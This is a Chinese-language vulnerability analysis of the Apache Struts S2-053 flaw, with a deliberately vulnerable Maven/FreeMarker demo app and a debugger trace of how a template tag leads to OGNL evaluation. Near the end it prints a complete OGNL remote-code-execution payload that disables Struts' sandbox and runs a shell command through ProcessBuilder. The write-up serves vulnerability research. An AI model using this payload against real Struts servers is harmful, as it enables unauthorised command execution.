s2-053 漏洞分析
影响版本:
影响版本:
Struts 2.0.1 - Struts 2.3.33
Struts 2.5 - Struts 2.5.10
0x01 部署又见踩坑
这回漏洞主要位于struts对freemarker处理的问题
表现层技术主要有三种:jsp、freemarker、velocity
-
idea生成maven项目,在pom.xml中添加依赖
<dependencies><dependency><groupId>org.apache.struts</groupId><artifactId>struts2-core</artifactId><version>2.5.8</version></dependency><dependency><groupId>org.freemarker</groupId><artifactId>freemarker</artifactId><version>2.3.28</version></dependency></dependencies> -
将core.jar的
/META-INF/struts-tags.tld拷贝到项目/WEB-INF下 -
WEB-INF/classes下创建struts.xml,内容
<struts><package name="test" extends="struts-default"><action name="welcome" class="first"><result type="freemarker" name="success">/WEB-INF/ftl/first.ftl</result></action></package></struts> -
附上first.class和first.ftl
import com.opensymphony.xwork2.ActionSupport;public class first extends ActionSupport {private String name="SystemUser";public String getName(){return name;}public void setName(String name){this.name = name;}@Overridepublic String execute() throws Exception{return SUCCESS;}}<html><head><title>S2-053 Demo</title></head><body><h1>S2-053 Demo</h1><hr/>Your name: <@s.url value="${name}"/><hr/>Enter your name here:<br/><form action="" method="get"><input type="text" name="name" value="" /><input type="submit" value="Submit" /></form><br/><p>See more at: <a href="https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-053">VulApps - S2-053</a></p></body></html> -
目录结构

0x02 分析
跟进分析
-
action结束后,由于result-type为freemarker,进入对应类进行处理
<result-type name="freemarker" class="org.apache.struts2.views.freemarker.FreemarkerResult"/> -
新建一个进程,打印模板内容

-
跟进process

-
再跟进ObjectWrapper#process(),从根节点进行渲染

-
跟进visit(),这里采用深度遍历,同时渲染节点,accept()会解析节点内容,遇到表达式会跟进处理

-
简单跟一下accept(),如果不是自定义宏,会调用visitAndTransform对节点中的表达式进行处理

-
跟进几层,TransformControl会在页面跳转前对参数值进行处理,

-
findString最后会调用findValue,在这里OGNL表达式被执行
org.apache.struts2.components.Component#findValue(java.lang.String, java.lang.Class)

流程梳理
st=>start: 传入之后通过struts-default.xml进入org.apache.struts2.views.freemarker.FreemarkerResulta=>operation: 通过template.process(model, writer)进行模板处理b=>operation: 利用freemarker.core.Environment#visit(freemarker.core.TemplateElement)深度遍历节点内容,将表达式筛选出来c=>operation: 遇到表达式会进入freemarker.core.UnifiedCall#accept解析表达式内容,TemplateModel value = valueExp.eval(env)en=>end: 如果不是自定义宏,则进入visitAndTransform,一些列操作后执行ognl
st->a->b->c->en调用栈信息

通过POC快速定位
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/usr/bin/touch /tmp/vuln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}注意到调用了ProcessBuilder#start(),将断点打在ProcessBuilder类的start()方法
java.lang.ProcessBuilder#start
0x03 利用条件
- struts使用freemarker标签
- 标签使用不规范,直接嵌入表达式,例如
<@s.url value="${name}"/>
P.S. freemarker内置标签可看 参考资料[3][4]
##参考资料